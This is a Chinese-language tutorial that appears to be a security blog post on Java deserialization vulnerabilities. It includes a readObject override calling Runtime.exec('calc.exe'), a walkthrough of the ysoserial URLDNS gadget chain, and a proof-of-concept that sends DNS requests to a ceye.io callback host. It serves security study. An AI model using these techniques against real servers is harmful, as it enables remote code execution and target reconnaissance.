JAVA序列化是指把JAVA对象转换为字节序列的过程;反序列化是指把字节序列恢复为JAVA对象的过程。
接下来首先看一个简单的例子。
我们首先来自定义一下Main
类,给它赋予两个变量,name
和age
,具体代码如下
package org.example;
import java.io.Serializable;
public class Main implements Serializable {
private String name;
private int age;
public Main(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Override
public String toString(){
return "Main{" +
"name='"+name+'\''+
"age="+age+
'}';
}
}
接下来自定义JAVA序列化函数,具体代码如下
package org.example;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
public class serialize {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Main main = new Main("aa",22);
//System.out.println(main);
serialize(main);
}
}
这里呢,其实就是写了一个文件输出流,将写入的内容传至ser.bin
中,而后调用了writeObject方法实现了序列化。
而后定义主函数,实例化对象并传入name=aa,age=22,并序列化main对象。接下来运行此程序
接下来再自定义一下反序列化函数,反序列化与序列化相反即可,把Output换成Input,把write改为read,具体代码如下
package org.example;
import java.io.*;
public class unserialize {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois= new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Main main = (Main) unserialize("ser.bin");
System.out.println(main);
}
}
此时运行程序,可以发现成功对数据进行了反序列化并输出了数据
可以发现主函数中有这样一段代码
public class Main implements Serializable
他其实是实现了一个接口,如果没有这个**implements Serializable **,就无法实现正常的序列化
1、静态成员变量不能被序列化
序列化是针对对象属性的,而静态成员变量是属于类的
2、transient标识的对象成员变量不参与序列化
这个可以用上面的示例进行测试,我们在name前添加上transient
接下来重新进行序列化和反序列化,可以发现
此时的name变成了null
服务端进行反序列化数据时,会自动调用类中的readObject
代码,给予了攻击者在服务器上运行代码的能力
1、入口类的readObject
直接调用危险函数
比如上述的例子中,我们重写readObject方法,添加一个弹计算器的指令
private void readObject(ObjectInputStream ois) throws Exception,ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc.exe");
}
此时再进行序列化和反序列化
成功弹出计算器
2、入口类参数中包含可控类,该类含有危险方法,readObject
时进行调用
3、入口类参数中包含可控类,该类调用其他有危险方法的类,readObject
时进行调用
4、构造函数/静态代码块等类加载时隐式执行。
共同条件
1、继承Serialize
2、入口类source(重写readObject 参数类型广泛 最好是JDK自带的)
3、调用链 gadget chain
4、执行类 sink (rce、ssrf写文件等等)
接下来以HashMap
为例,说一下如何寻找可用类。
首先它需要继承有Serializable类,因为没有Serializable就无法进行序列化
可以看到类HashMap
继承了Serializable
接下来寻找入口类。
点击Strcture
,可以看到HashMap
下的readObject
类中存在这样一段代码
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
重点其实就是对key和value进行了readObject
函数处理,而后将这两个变量放进了hash
函数中,接下来跟进此方法
当key不为0
时,就会给h
赋值为hashCode函数处理过后
的key
方法
符合入口类的条件,即重写 readObject 调用常见的函数
URLDNS
是 ysoserial
中⼀个利⽤链的名字,这里之所以选择它来进行相关讲解是因为他足够简单,但它其实不能称为利用链
,因为参数并非可利用的命令,而是一个URL
,同时它触发的结果也并非命令执行,而是一次DNS请求
。但它有以下优点:
1、使⽤ Java 内置的类构造,对第三⽅库没有依赖。
2、在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞。
因此用它来测试反序列化漏洞是否存在是尤为合适的。
我们可以在ysoserial
查看它的利用链
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
只有寥寥几步,接下来跟着复现一下。
常见的HTTP请求使用的是URL类,URL是由HashMap的Put方法产生的,所以我们这里先跟进Put
方法
从该方法中我们可以看出这里调用了hash()
方法,所以接下来我们跟进这个方法
这里可以看到hashCode
处理的变量是Key
,而Key
则是我们上文hash
中传入的参数,也就是我们之前写的内容
hashmap.put(new URL("http://xxx"),1);
// 传进去两个参数,key = 前面那串网址,value = 1
接下来我们跟进URL
,看URL
中的hashCode
方法。
可以发现当hashCode
不等于-1
时,直接返回hashCode
,否则就会对handler
进行另一个类的hashCode
方法处理,接下来跟进这个hashCode
函数
可以发现对内容进行了getHostAddress
方法处理,继续跟进
根据主机名获取其IP地址,也就是对其发送了一次DNS请求。
至此,可以看出总体链如下
1、HashMap->readObject()
2、HashMap->hash()
3、URL->hashCode()
4、URLStreamHandler->hashCode()
5、URLStreamHandler->getHostAddress()
接下来构造Poc进行DNS请求尝试。
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
hashmap.put(new URL("http://s3moz8.ceye.io"),1);
serialize(hashmap);
此时运行会发现,我们还没进行反序列化,在此时就直接收到DNS请求了,这是为啥呢,仔细看一下代码,会发现
PUT->hash->hashCode()
而URL类中的hashCode
默认值为-1,此时到这里就会直接往下运行,也就是对URL发起了DNS请求。
这样的话我们就无法判断是反序列化出来的URLDNS,还是序列化中的URLDNS,造成了干扰,此时我们该怎么办呢,我们可以看到这里的源头是因为**put()**,所以我们可以先不发送请求
#Serialization.java
package org.example;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Serialization {
public static void Serialize(Object obj) throws IOException{
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("http://s3moz8.ceye.io");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
Serialize(hashmap);
}
}
运行序列化文件,接下来运行反序列化文件,而后在ceye.io
上查看是否有接收到DNS请求
此时可以发现成功接收到请求,证明URLDNS链构造成功。
总体方向就是反序列化调用hashmap的readobject,hashmap里的object里
这样调用了putVal(),所以我们需要去控制这个值才能实现往下走,所以这个时候我们找到了
put方法,这个就是我们这里为啥要put这个url,是为了控制key和value,然后往下走,
hash里调用了key.hashCode,hash里面是key,而这个key是我们填入的URL,所以此时就来到了URL.hashCode
,这个时候我们要想实现DNS请求,必须让他值为-1,所以,我们此时通过反射修改了hashCode值,修改它为-1,让他继续往下走,此时就来到了
就会发送DNS请求。